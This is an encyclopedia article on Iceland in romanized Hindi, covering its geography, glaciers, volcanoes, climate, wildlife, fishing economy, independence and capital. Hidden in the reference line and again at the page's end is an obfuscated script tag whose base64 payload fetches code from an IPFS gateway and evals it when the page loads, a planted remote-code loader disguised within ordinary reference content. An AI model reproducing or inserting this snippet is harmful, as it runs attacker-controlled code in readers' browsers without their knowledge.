आइसलैंड
aisalaiand (1969 mean janasankhya 2,03,442) uttari aitalaantik mahasagar mean sthit ek dvip hai jisaka vistar 63° 12' uttari akshaansh se 66° 33' uttari akshaansh tatha 13° 22' purvi deshaantar se 24° 35' purvi deshaantar tak hai. isaka kul kshetraphal lagabhag 39,758 varg mil hai. sanpoorn dvip jvalamukhi chattanoan dvara nirmit pathar hai jisaka keval bhag apekshakrit nicha hai. aisalaiand ke adhikaansh log isi nichale bhag mean base hue haian.
dvip ka karib 13 pratishat bhag himachchhadit rahata hai jisamean lagabhag 120 himanadiyaan (gleshiyar) paee jati haian. yahaan ke sabase b de gleshiyar 'vatnajokul' ka kshetraphal lagabhag 150 se 200 varg mil tak hai.
aisalaiand mean bahut si jhilean haian. inamean se kuchh gleshiyaroan dvara nirmit huee haian aur kuchh jvalamukhi ke kretar mean pani bhar jane ke karan. sabase b di jhiloan mean thiangavalavat evan thorisayat mukhy haian. inamean se pratyek ka kshetraphal 27 varg mil hai.
yah dvip sansar ke un jvalamukhi pradeshoan mean se haian jahaan tritiyak kal se ab tak lagatar udgar hote ae haian. 100 se adhik jvalamukhi parvat tatha hajaroan kretar is dvip mean phaile hue haian, jinase nirmit lava pradesh ka kshetraphal lagabhag 4,650 varg mil hai. in udgaroan ke karan yahaan pray: bhoochal aya karata hai. garam pani ke anek sote tatha phavvare (gaisar) bhi isi karan yahaan milate haian.
aisalaiand ki jalavayu galphastrim namak garam dhara ke prabhav se usi akshaansh mean sthit any deshoan ki apeksha adhik garm hai. yahaan ka sadharan varshik tap 39.4° pha. hai. shitakal ke atyadhik thande mas (janavari) ka ausat tap 34.2° pha. tatha garmi ki rritu ke adhikatam ushn mas (julaee) ka tap 51.6 pha. hai. yahaan ke nichale maidanoan ki ausat varshik varsha 51 ianch tatha ooanche bhagoan ki ausat varsha 79.7 ianch hai.
yahaan ki vanaspatiyaan pashchimi yooropiy pradesh tatha arkatik pradesh ki vanaspatiyoan ke saman haian. ghas tatha chhote paudhe (tin phut se 10 phut tak ke) hi adhik ugate haian. bhoorj vriksh (barch) yahaan ka mukhy paudha he. jivajantu kam milate haian. dhravupradeshiy richh, lom di adi janavar kahian kahian dikhaee p d jate haian. parantu as pas ke samudroan mean sil, hel, k aaud, heriang adi machhaliyaan adhik milati haian. machhali pak dana yahaan ka mukhy udyam hai. niryat ki vastuoan mean machhali tatha machhali se bani vastuean, visheshakar k aaud evan shark livar ayal, mukhy haian.
joon, san 1944 se yah desh poorn svatantr bana diya gaya hai. isaki rajadhani rekajavik (1970 ee. mean janasankhya 81,693) hai.
apani vishesh sthiti ke karan isaka samarik mahatv badhata ja raha hai aur yah amarika ka ek pramukh sainik adda ban gaya hai.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 335 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>